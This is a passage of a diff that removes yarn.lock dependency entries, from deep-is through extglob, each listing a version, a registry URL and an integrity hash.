-
-deep-is@~0.1.3:
-version "0.1.3"
-resolved "https://registry.yarnpkg.com/deep-is/-/deep-is-0.1.3.tgz#b369d6fb5dbc13eecf524f91b070feedc357cf34"
-integrity sha1-s2nW+128E+7PUk+RsHD+7cNXzzQ=
-
-deepmerge@^4.2.2:
-version "4.2.2"
-resolved "https://registry.yarnpkg.com/deepmerge/-/deepmerge-4.2.2.tgz#44d2ea3679b8f4d4ffba33f03d865fc1e7bf4955"
-integrity sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg==
-
-defaults@^1.0.3:
-version "1.0.3"
-resolved "https://registry.yarnpkg.com/defaults/-/defaults-1.0.3.tgz#c656051e9817d9ff08ed881477f3fe4019f3ef7d"
-integrity sha1-xlYFHpgX2f8I7YgUd/P+QBnz730=
-dependencies:
-clone "^1.0.2"
-
-define-properties@^1.1.2, define-properties@^1.1.3:
-version "1.1.3"
-resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1"
-integrity sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==
-dependencies:
-object-keys "^1.0.12"
-
-define-property@^0.2.5:
-version "0.2.5"
-resolved "https://registry.yarnpkg.com/define-property/-/define-property-0.2.5.tgz#c35b1ef918ec3c990f9a5bc57be04aacec5c8116"
-integrity sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=
-dependencies:
-is-descriptor "^0.1.0"
-
-define-property@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/define-property/-/define-property-1.0.0.tgz#769ebaaf3f4a63aad3af9e8d304c9bbe79bfb0e6"
-integrity sha1-dp66rz9KY6rTr56NMEybvnm/sOY=
-dependencies:
-is-descriptor "^1.0.0"
-
-define-property@^2.0.2:
-version "2.0.2"
-resolved "https://registry.yarnpkg.com/define-property/-/define-property-2.0.2.tgz#d459689e8d654ba77e02a817f8710d702cb16e9d"
-integrity sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==
-dependencies:
-is-descriptor "^1.0.2"
-isobject "^3.0.1"
-
-delayed-stream@~1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
-integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk=
-
-delegate@^3.1.2:
-version "3.2.0"
-resolved "https://registry.yarnpkg.com/delegate/-/delegate-3.2.0.tgz#b66b71c3158522e8ab5744f720d8ca0c2af59166"
-integrity sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==
-
-depd@~1.1.2:
-version "1.1.2"
-resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9"
-integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak=
-
-des.js@^1.0.0:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/des.js/-/des.js-1.0.1.tgz#5382142e1bdc53f85d86d53e5f4aa7deb91e0843"
-integrity sha512-Q0I4pfFrv2VPd34/vfLrFOoRmlYj3OV50i7fskps1jZWK1kApMWWT9G6RRUeYedLcBDIhnSDaUvJMb3AhUlaEA==
-dependencies:
-inherits "^2.0.1"
-minimalistic-assert "^1.0.0"
-
-desandro-matches-selector@^2.0.0:
-version "2.0.2"
-resolved "https://registry.yarnpkg.com/desandro-matches-selector/-/desandro-matches-selector-2.0.2.tgz#717beed4dc13e7d8f3762f707a6d58a6774218e1"
-integrity sha1-cXvu1NwT59jzdi9wem1YpndCGOE=
-
-destroy@~1.0.4:
-version "1.0.4"
-resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80"
-integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA=
-
-detect-newline@^3.0.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/detect-newline/-/detect-newline-3.1.0.tgz#576f5dfc63ae1a192ff192d8ad3af6308991b651"
-integrity sha512-TLz+x/vEXm/Y7P7wn1EJFNLxYpUD4TgMosxY6fAVJUnJMbupHBOncxyWUG9OpTaH9EBD7uFI5LfEgmMOc54DsA==
-
-diff-sequences@^26.0.0:
-version "26.0.0"
-resolved "https://registry.yarnpkg.com/diff-sequences/-/diff-sequences-26.0.0.tgz#0760059a5c287637b842bd7085311db7060e88a6"
-integrity sha512-JC/eHYEC3aSS0vZGjuoc4vHA0yAQTzhQQldXMeMF+JlxLGJlCO38Gma82NV9gk1jGFz8mDzUMeaKXvjRRdJ2dg==
-
-diffie-hellman@^5.0.0:
-version "5.0.3"
-resolved "https://registry.yarnpkg.com/diffie-hellman/-/diffie-hellman-5.0.3.tgz#40e8ee98f55a2149607146921c63e1ae5f3d2875"
-integrity sha512-kqag/Nl+f3GwyK25fhUMYj81BUOrZ9IuJsjIcDE5icNM9FJHAVm3VcUDxdLPoQtTuUylWm6ZIknYJwwaPxsUzg==
-dependencies:
-bn.js "^4.1.0"
-miller-rabin "^4.0.0"
-randombytes "^2.0.0"
-
-dir-glob@2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/dir-glob/-/dir-glob-2.0.0.tgz#0b205d2b6aef98238ca286598a8204d29d0a0034"
-integrity sha512-37qirFDz8cA5fimp9feo43fSuRo2gHwaIn6dXL8Ber1dGwUosDrGZeCCXq57WnIqE4aQ+u3eQZzsk1yOzhdwag==
-dependencies:
-arrify "^1.0.1"
-path-type "^3.0.0"
-
-dom-serializer@0:
-version "0.2.2"
-resolved "https://registry.yarnpkg.com/dom-serializer/-/dom-serializer-0.2.2.tgz#1afb81f533717175d478655debc5e332d9f9bb51"
-integrity sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==
-dependencies:
-domelementtype "^2.0.1"
-entities "^2.0.0"
-
-dom101@^2.2.1:
-version "2.2.1"
-resolved "https://registry.yarnpkg.com/dom101/-/dom101-2.2.1.tgz#16bdf36daf58a5846f72f3d8e48ba0ec1b186330"
-integrity sha512-xPZjrYTprHPipC6z30X9LfKhkFeI6ESzMxSise6mqwqYC05MuDC0m0djEJ6cFVKhIPzUfonmnSm0z9Jgn84c1w==
-
-domain-browser@^1.1.1:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/domain-browser/-/domain-browser-1.2.0.tgz#3d31f50191a6749dd1375a7f522e823d42e54eda"
-integrity sha512-jnjyiM6eRyZl2H+W8Q/zLMA481hzi0eszAaBUzIVnmYVDBbnLxVNnfu1HgEBvCbL+71FrxMl3E6lpKH7Ge3OXA==
-
-domelementtype@1, domelementtype@^1.3.1:
-version "1.3.1"
-resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-1.3.1.tgz#d048c44b37b0d10a7f2a3d5fee3f4333d790481f"
-integrity sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w==
-
-domelementtype@^2.0.1:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/domelementtype/-/domelementtype-2.0.1.tgz#1f8bdfe91f5a78063274e803b4bdcedf6e94f94d"
-integrity sha512-5HOHUDsYZWV8FGWN0Njbr/Rn7f/eWSQi1v7+HsUVwXgn8nWWlL64zKDkS0n8ZmQ3mlWOMuXOnR+7Nx/5tMO5AQ==
-
-domexception@^1.0.1:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/domexception/-/domexception-1.0.1.tgz#937442644ca6a31261ef36e3ec677fe805582c90"
-integrity sha512-raigMkn7CJNNo6Ihro1fzG7wr3fHuYVytzquZKX5n0yizGsTcYgzdIUwj1X9pK0VvjeihV+XiclP+DjwbsSKug==
-dependencies:
-webidl-conversions "^4.0.2"
-
-domexception@^2.0.1:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/domexception/-/domexception-2.0.1.tgz#fb44aefba793e1574b0af6aed2801d057529f304"
-integrity sha512-yxJ2mFy/sibVQlu5qHjOkf9J3K6zgmCxgJ94u2EdvDOV09H+32LtRswEcUsmUWN72pVLOEnTSRaIVVzVQgS0dg==
-dependencies:
-webidl-conversions "^5.0.0"
-
-domhandler@^2.3.0:
-version "2.4.2"
-resolved "https://registry.yarnpkg.com/domhandler/-/domhandler-2.4.2.tgz#8805097e933d65e85546f726d60f5eb88b44f803"
-integrity sha512-JiK04h0Ht5u/80fdLMCEmV4zkNh2BcoMFBmZ/91WtYZ8qVXSKjiw7fXMgFPnHcSZgOo3XdinHvmnDUeMf5R4wA==
-dependencies:
-domelementtype "1"
-
-domutils@^1.5.1, domutils@^1.7.0:
-version "1.7.0"
-resolved "https://registry.yarnpkg.com/domutils/-/domutils-1.7.0.tgz#56ea341e834e06e6748af7a1cb25da67ea9f8c2a"
-integrity sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==
-dependencies:
-dom-serializer "0"
-domelementtype "1"
-
-dot-prop@^5.2.0:
-version "5.2.0"
-resolved "https://registry.yarnpkg.com/dot-prop/-/dot-prop-5.2.0.tgz#c34ecc29556dc45f1f4c22697b6f4904e0cc4fcb"
-integrity sha512-uEUyaDKoSQ1M4Oq8l45hSE26SnTxL6snNnqvK/VWx5wJhmff5z0FUVJDKDanor/6w3kzE3i7XZOk+7wC0EXr1A==
-dependencies:
-is-obj "^2.0.0"
-
-dotenv-expand@^5.1.0:
-version "5.1.0"
-resolved "https://registry.yarnpkg.com/dotenv-expand/-/dotenv-expand-5.1.0.tgz#3fbaf020bfd794884072ea26b1e9791d45a629f0"
-integrity sha512-YXQl1DSa4/PQyRfgrv6aoNjhasp/p4qs9FjJ4q4cQk+8m4r6k4ZSiEyytKG8f8W9gi8WsQtIObNmKd+tMzNTmA==
-
-dotenv@^5.0.0:
-version "5.0.1"
-resolved "https://registry.yarnpkg.com/dotenv/-/dotenv-5.0.1.tgz#a5317459bd3d79ab88cff6e44057a6a3fbb1fcef"
-integrity sha512-4As8uPrjfwb7VXC+WnLCbXK7y+Ueb2B3zgNCePYfhxS1PYeaO1YTeplffTEcbfLhvFNGLAz90VvJs9yomG7bow==
-
-duplexer2@~0.1.4:
-version "0.1.4"
-resolved "https://registry.yarnpkg.com/duplexer2/-/duplexer2-0.1.4.tgz#8b12dab878c0d69e3e7891051662a32fc6bddcc1"
-integrity sha1-ixLauHjA1p4+eJEFFmKjL8a93ME=
-dependencies:
-readable-stream "^2.0.2"
-
-duplexer@^0.1.1:
-version "0.1.1"
-resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.1.tgz#ace6ff808c1ce66b57d1ebf97977acb02334cfc1"
-integrity sha1-rOb/gIwc5mtX0ev5eXessCM0z8E=
-
-ecc-jsbn@~0.1.1:
-version "0.1.2"
-resolved "https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz#3a83a904e54353287874c564b7549386849a98c9"
-integrity sha1-OoOpBOVDUyh4dMVkt1SThoSamMk=
-dependencies:
-jsbn "~0.1.0"
-safer-buffer "^2.1.0"
-
-ee-first@1.1.1:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d"
-integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0=
-
-electron-to-chromium@^1.3.413:
-version "1.3.473"
-resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.3.473.tgz#d0cd5fe391046fb70674ec98149f0f97609d29b8"
-integrity sha512-smevlzzMNz3vMz6OLeeCq5HRWEj2AcgccNPYnAx4Usx0IOciq9DU36RJcICcS09hXoY7t7deRfVYKD14IrGb9A==
-
-elliptic@^6.0.0, elliptic@^6.5.2:
-version "6.5.2"
-resolved "https://registry.yarnpkg.com/elliptic/-/elliptic-6.5.2.tgz#05c5678d7173c049d8ca433552224a495d0e3762"
-integrity sha512-f4x70okzZbIQl/NSRLkI/+tteV/9WqL98zx+SQ69KbXxmVrmjwsNUPn/gYJJ0sHvEak24cZgHIPegRePAtA/xw==
-dependencies:
-bn.js "^4.4.0"
-brorand "^1.0.1"
-hash.js "^1.0.0"
-hmac-drbg "^1.0.0"
-inherits "^2.0.1"
-minimalistic-assert "^1.0.0"
-minimalistic-crypto-utils "^1.0.0"
-
-emoji-regex@^7.0.1:
-version "7.0.3"
-resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-7.0.3.tgz#933a04052860c85e83c122479c4748a8e4c72156"
-integrity sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==
-
-emoji-regex@^8.0.0:
-version "8.0.0"
-resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
-integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
-
-emojis-list@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/emojis-list/-/emojis-list-3.0.0.tgz#5570662046ad29e2e916e71aae260abdff4f6a78"
-integrity sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==
-
-encodeurl@~1.0.2:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59"
-integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k=
-
-end-of-stream@^1.1.0:
-version "1.4.4"
-resolved "https://registry.yarnpkg.com/end-of-stream/-/end-of-stream-1.4.4.tgz#5ae64a5f45057baf3626ec14da0ca5e4b2431eb0"
-integrity sha512-+uw1inIHVPQoaVuHzRyXd21icM+cnt4CzD5rW+NC1wjOUSTOs+Te7FOv7AhN7vS9x/oIyhLP5PR1H+phQAHu5Q==
-dependencies:
-once "^1.4.0"
-
-engine.io-client@~3.4.0:
-version "3.4.3"
-resolved "https://registry.yarnpkg.com/engine.io-client/-/engine.io-client-3.4.3.tgz#192d09865403e3097e3575ebfeb3861c4d01a66c"
-integrity sha512-0NGY+9hioejTEJCaSJZfWZLk4FPI9dN+1H1C4+wj2iuFba47UgZbJzfWs4aNFajnX/qAaYKbe2lLTfEEWzCmcw==
-dependencies:
-component-emitter "~1.3.0"
-component-inherit "0.0.3"
-debug "~4.1.0"
-engine.io-parser "~2.2.0"
-has-cors "1.1.0"
-indexof "0.0.1"
-parseqs "0.0.5"
-parseuri "0.0.5"
-ws "~6.1.0"
-xmlhttprequest-ssl "~1.5.4"
-yeast "0.1.2"
-
-engine.io-parser@~2.2.0:
-version "2.2.0"
-resolved "https://registry.yarnpkg.com/engine.io-parser/-/engine.io-parser-2.2.0.tgz#312c4894f57d52a02b420868da7b5c1c84af80ed"
-integrity sha512-6I3qD9iUxotsC5HEMuuGsKA0cXerGz+4uGcXQEkfBidgKf0amsjrrtwcbwK/nzpZBxclXlV7gGl9dgWvu4LF6w==
-dependencies:
-after "0.8.2"
-arraybuffer.slice "~0.0.7"
-base64-arraybuffer "0.1.5"
-blob "0.0.5"
-has-binary2 "~1.0.2"
-
-engine.io@~3.4.0:
-version "3.4.2"
-resolved "https://registry.yarnpkg.com/engine.io/-/engine.io-3.4.2.tgz#8fc84ee00388e3e228645e0a7d3dfaeed5bd122c"
-integrity sha512-b4Q85dFkGw+TqgytGPrGgACRUhsdKc9S9ErRAXpPGy/CXKs4tYoHDkvIRdsseAF7NjfVwjRFIn6KTnbw7LwJZg==
-dependencies:
-accepts "~1.3.4"
-base64id "2.0.0"
-cookie "0.3.1"
-debug "~4.1.0"
-engine.io-parser "~2.2.0"
-ws "^7.1.2"
-
-entities@^1.1.1, entities@^1.1.2:
-version "1.1.2"
-resolved "https://registry.yarnpkg.com/entities/-/entities-1.1.2.tgz#bdfa735299664dfafd34529ed4f8522a275fea56"
-integrity sha512-f2LZMYl1Fzu7YSBKg+RoROelpOaNrcGmE9AZubeDfrCEia483oW4MI4VyFd5VNHIgQ/7qm1I0wUHK1eJnn2y2w==
-
-entities@^2.0.0:
-version "2.0.3"
-resolved "https://registry.yarnpkg.com/entities/-/entities-2.0.3.tgz#5c487e5742ab93c15abb5da22759b8590ec03b7f"
-integrity sha512-MyoZ0jgnLvB2X3Lg5HqpFmn1kybDiIfEQmKzTb5apr51Rb+T3KdmMiqa70T+bhGnyv7bQ6WMj2QMHpGMmlrUYQ==
-
-envinfo@^7.3.1:
-version "7.5.1"
-resolved "https://registry.yarnpkg.com/envinfo/-/envinfo-7.5.1.tgz#93c26897225a00457c75e734d354ea9106a72236"
-integrity sha512-hQBkDf2iO4Nv0CNHpCuSBeaSrveU6nThVxFGTrq/eDlV716UQk09zChaJae4mZRsos1x4YLY2TaH3LHUae3ZmQ==
-
-error-ex@^1.3.1:
-version "1.3.2"
-resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
-integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
-dependencies:
-is-arrayish "^0.2.1"
-
-es-abstract@^1.17.0-next.1, es-abstract@^1.17.2, es-abstract@^1.17.5:
-version "1.17.5"
-resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.17.5.tgz#d8c9d1d66c8981fb9200e2251d799eee92774ae9"
-integrity sha512-BR9auzDbySxOcfog0tLECW8l28eRGpDpU3Dm3Hp4q/N+VtLTmyj4EUN088XZWQDW/hzj6sYRDXeOFsaAODKvpg==
-dependencies:
-es-to-primitive "^1.2.1"
-function-bind "^1.1.1"
-has "^1.0.3"
-has-symbols "^1.0.1"
-is-callable "^1.1.5"
-is-regex "^1.0.5"
-object-inspect "^1.7.0"
-object-keys "^1.1.1"
-object.assign "^4.1.0"
-string.prototype.trimleft "^2.1.1"
-string.prototype.trimright "^2.1.1"
-
-es-to-primitive@^1.2.1:
-version "1.2.1"
-resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz#e55cd4c9cdc188bcefb03b366c736323fc5c898a"
-integrity sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==
-dependencies:
-is-callable "^1.1.4"
-is-date-object "^1.0.1"
-is-symbol "^1.0.2"
-
-escape-html@1.0.3, escape-html@~1.0.3:
-version "1.0.3"
-resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
-integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg=
-
-escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
-version "1.0.5"
-resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
-integrity sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=
-
-escape-string-regexp@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz#a30304e99daa32e23b2fd20f51babd07cffca344"
-integrity sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==
-
-escodegen@^1.11.0, escodegen@^1.11.1, escodegen@^1.14.1:
-version "1.14.2"
-resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-1.14.2.tgz#14ab71bf5026c2aa08173afba22c6f3173284a84"
-integrity sha512-InuOIiKk8wwuOFg6x9BQXbzjrQhtyXh46K9bqVTPzSo2FnyMBaYGBMC6PhQy7yxxil9vIedFBweQBMK74/7o8A==
-dependencies:
-esprima "^4.0.1"
-estraverse "^4.2.0"
-esutils "^2.0.2"
-optionator "^0.8.1"
-optionalDependencies:
-source-map "~0.6.1"
-
-escodegen@~1.9.0:
-version "1.9.1"
-resolved "https://registry.yarnpkg.com/escodegen/-/escodegen-1.9.1.tgz#dbae17ef96c8e4bedb1356f4504fa4cc2f7cb7e2"
-integrity sha512-6hTjO1NAWkHnDk3OqQ4YrCuwwmGHL9S3nPlzBOUG/R44rda3wLNrfvQ5fkSGjyhHFKM7ALPKcKGrwvCLe0lC7Q==
-dependencies:
-esprima "^3.1.3"
-estraverse "^4.2.0"
-esutils "^2.0.2"
-optionator "^0.8.1"
-optionalDependencies:
-source-map "~0.6.1"
-
-esprima@^3.1.3:
-version "3.1.3"
-resolved "https://registry.yarnpkg.com/esprima/-/esprima-3.1.3.tgz#fdca51cee6133895e3c88d535ce49dbff62a4633"
-integrity sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM=
-
-esprima@^4.0.0, esprima@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
-integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
-
-estraverse@^4.2.0:
-version "4.3.0"
-resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.3.0.tgz#398ad3f3c5a24948be7725e83d11a7de28cdbd1d"
-integrity sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==
-
-esutils@^2.0.2:
-version "2.0.3"
-resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64"
-integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==
-
-etag@~1.8.1:
-version "1.8.1"
-resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887"
-integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc=
-
-ev-emitter@^1.0.0:
-version "1.1.1"
-resolved "https://registry.yarnpkg.com/ev-emitter/-/ev-emitter-1.1.1.tgz#8f18b0ce5c76a5d18017f71c0a795c65b9138f2a"
-integrity sha512-ipiDYhdQSCZ4hSbX4rMW+XzNKMD1prg/sTvoVmSLkuQ1MVlwjJQQA+sW8tMYR3BLUr9KjodFV4pvzunvRhd33Q==
-
-events@^3.0.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/events/-/events-3.1.0.tgz#84279af1b34cb75aa88bf5ff291f6d0bd9b31a59"
-integrity sha512-Rv+u8MLHNOdMjTAFeT3nCjHn2aGlx435FP/sDHNaRhDEMwyI/aB22Kj2qIN8R0cw3z28psEQLYwxVKLsKrMgWg==
-
-evp_bytestokey@^1.0.0, evp_bytestokey@^1.0.3:
-version "1.0.3"
-resolved "https://registry.yarnpkg.com/evp_bytestokey/-/evp_bytestokey-1.0.3.tgz#7fcbdb198dc71959432efe13842684e0525acb02"
-integrity sha512-/f2Go4TognH/KvCISP7OUsHn85hT9nUkxxA9BEWxFn+Oj9o8ZNLm/40hdlgSLyuOimsrTKLUMEorQexp/aPQeA==
-dependencies:
-md5.js "^1.3.4"
-safe-buffer "^5.1.1"
-
-exec-sh@^0.3.2:
-version "0.3.4"
-resolved "https://registry.yarnpkg.com/exec-sh/-/exec-sh-0.3.4.tgz#3a018ceb526cc6f6df2bb504b2bfe8e3a4934ec5"
-integrity sha512-sEFIkc61v75sWeOe72qyrqg2Qg0OuLESziUDk/O/z2qgS15y2gWVFrI6f2Qn/qw/0/NCfCEsmNA4zOjkwEZT1A==
-
-execa@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/execa/-/execa-1.0.0.tgz#c6236a5bb4df6d6f15e88e7f017798216749ddd8"
-integrity sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==
-dependencies:
-cross-spawn "^6.0.0"
-get-stream "^4.0.0"
-is-stream "^1.1.0"
-npm-run-path "^2.0.0"
-p-finally "^1.0.0"
-signal-exit "^3.0.0"
-strip-eof "^1.0.0"
-
-execa@^4.0.0:
-version "4.0.2"
-resolved "https://registry.yarnpkg.com/execa/-/execa-4.0.2.tgz#ad87fb7b2d9d564f70d2b62d511bee41d5cbb240"
-integrity sha512-QI2zLa6CjGWdiQsmSkZoGtDx2N+cQIGb3yNolGTdjSQzydzLgYYf8LRuagp7S7fPimjcrzUDSUFd/MgzELMi4Q==
-dependencies:
-cross-spawn "^7.0.0"
-get-stream "^5.0.0"
-human-signals "^1.1.1"
-is-stream "^2.0.0"
-merge-stream "^2.0.0"
-npm-run-path "^4.0.0"
-onetime "^5.1.0"
-signal-exit "^3.0.2"
-strip-final-newline "^2.0.0"
-
-exit@^0.1.2:
-version "0.1.2"
-resolved "https://registry.yarnpkg.com/exit/-/exit-0.1.2.tgz#0632638f8d877cc82107d30a0fff1a17cba1cd0c"
-integrity sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=
-
-expand-brackets@^2.1.4:
-version "2.1.4"
-resolved "https://registry.yarnpkg.com/expand-brackets/-/expand-brackets-2.1.4.tgz#b77735e315ce30f6b6eff0f83b04151a22449622"
-integrity sha1-t3c14xXOMPa27/D4OwQVGiJEliI=
-dependencies:
-debug "^2.3.3"
-define-property "^0.2.5"
-extend-shallow "^2.0.1"
-posix-character-classes "^0.1.0"
-regex-not "^1.0.0"
-snapdragon "^0.8.1"
-to-regex "^3.0.1"
-
-expect@^26.0.1:
-version "26.0.1"
-resolved "https://registry.yarnpkg.com/expect/-/expect-26.0.1.tgz#18697b9611a7e2725e20ba3ceadda49bc9865421"
-integrity sha512-QcCy4nygHeqmbw564YxNbHTJlXh47dVID2BUP52cZFpLU9zHViMFK6h07cC1wf7GYCTIigTdAXhVua8Yl1FkKg==
-dependencies:
-"@jest/types" "^26.0.1"
-ansi-styles "^4.0.0"
-jest-get-type "^26.0.0"
-jest-matcher-utils "^26.0.1"
-jest-message-util "^26.0.1"
-jest-regex-util "^26.0.0"
-
-express@^4.16.3:
-version "4.17.1"
-resolved "https://registry.yarnpkg.com/express/-/express-4.17.1.tgz#4491fc38605cf51f8629d39c2b5d026f98a4c134"
-integrity sha512-mHJ9O79RqluphRrcw2X/GTh3k9tVv8YcoyY4Kkh4WDMUYKRZUq0h1o0w2rrrxBqM7VoeUVqgb27xlEMXTnYt4g==
-dependencies:
-accepts "~1.3.7"
-array-flatten "1.1.1"
-body-parser "1.19.0"
-content-disposition "0.5.3"
-content-type "~1.0.4"
-cookie "0.4.0"
-cookie-signature "1.0.6"
-debug "2.6.9"
-depd "~1.1.2"
-encodeurl "~1.0.2"
-escape-html "~1.0.3"
-etag "~1.8.1"
-finalhandler "~1.1.2"
-fresh "0.5.2"
-merge-descriptors "1.0.1"
-methods "~1.1.2"
-on-finished "~2.3.0"
-parseurl "~1.3.3"
-path-to-regexp "0.1.7"
-proxy-addr "~2.0.5"
-qs "6.7.0"
-range-parser "~1.2.1"
-safe-buffer "5.1.2"
-send "0.17.1"
-serve-static "1.14.1"
-setprototypeof "1.1.1"
-statuses "~1.5.0"
-type-is "~1.6.18"
-utils-merge "1.0.1"
-vary "~1.1.2"
-
-extend-shallow@^2.0.1:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-2.0.1.tgz#51af7d614ad9a9f610ea1bafbb989d6b1c56890f"
-integrity sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=
-dependencies:
-is-extendable "^0.1.0"
-
-extend-shallow@^3.0.0, extend-shallow@^3.0.2:
-version "3.0.2"
-resolved "https://registry.yarnpkg.com/extend-shallow/-/extend-shallow-3.0.2.tgz#26a71aaf073b39fb2127172746131c2704028db8"
-integrity sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=
-dependencies:
-assign-symbols "^1.0.0"
-is-extendable "^1.0.1"
-
-extend@~3.0.2:
-version "3.0.2"
-resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
-integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==
-
-extglob@^2.0.4:
-version "2.0.4"
-resolved "https://registry.yarnpkg.com/extglob/-/extglob-2.0.4.tgz#ad00fe4dc612a9232e8718711dc5cb5ab0285543"
